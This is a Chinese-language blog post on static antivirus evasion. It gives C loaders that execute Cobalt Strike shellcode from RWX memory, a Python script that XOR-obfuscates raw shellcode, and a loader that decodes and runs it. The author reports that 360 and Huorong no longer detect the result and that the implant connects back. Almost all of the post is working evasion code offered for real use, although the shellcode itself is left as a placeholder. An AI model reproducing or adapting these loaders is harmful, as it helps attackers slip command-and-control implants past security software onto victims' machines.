静态免杀尝试
前言
在实际中碰到一些问题,直接用cs生成的payload过不了杀软,这时需要简单的处理下,参考了一些思路,写了几个测试demo,尝试了一下效果还可以。
实测
这里我是写了个shellcode加载代码,烂大街了,用来加载cs生成的shellcode。
贴几个常用的加载代码(C加载shellcode的):
第一种:
#include <windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
unsigned char shellcode[] ="xxxxxxxxxxxxxxxx";
void main()
{
((void(*)(void))&shellcode)();
}
第二种:
#include "windows.h"
#include "stdio.h"
//#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//不显示窗口
//#pragma comment(linker,"/MERGE:.rdata=.text /MERGE:.data=.text /SECTION:.text,EWR")//减小编译体积
unsigned char shellcode[] =“xxxxxxxxxx”;
void main()
{
LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, shellcode, sizeof(shellcode));
((void(*)())Memory)();
}
然后使用cs生成shellcode,这里先测试不混淆的shellcode。
用https://www.virustotal.com检查,效果已经不错了。
混淆
更进一步,再对shellcode进行异或混淆,使样本查杀率更低。
这里用cs生成bin文件,再生成时选择raw。
然后进行异或操作:
import sys
def payload_xor(filepath):
shellcode = ''
f = open(filepath, 'rb')
out = open("./payload_xor_c",'wb')
shellcode_size = 0
while True:
code = f.read(1)
if not code:
break
xorcode = ord(code) ^ 4 //转成ascii后异或
xorcode_str = chr(xorcode)
code_hex = hex(xorcode)
code_hex = code_hex.replace('0x','')
if(len(code_hex) == 1):
code_hex = '0' + code_hex #补0
shellcode += '\\x' + code_hex #写成0x 形式
shellcode_size += 1
f.close()
out.write(bytes(shellcode, encoding = "utf8"))
out.close()
return shellcode_size
if __name__ == '__main__':
payload_xor(sys.argv[1])
然后在加载器中多一步还原操作。
……
void main()
{
for (int i = 0;i < sizeof(shellcode);i++)
{
shellcode[i] ^= 4; //还原
}
LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, shellcode, sizeof(shellcode));
((void(*)())Memory)();
}
编译运行,成功上线。
火绒 360已经不报毒了。
放virustotal上查杀一下。
总结
这次并未进行分离免杀,效果也能凑合,实战中没试,咱也不敢呐。 后面的话会尝试下分离免杀,通过网络,数据共享去完成加载,更具有通用性。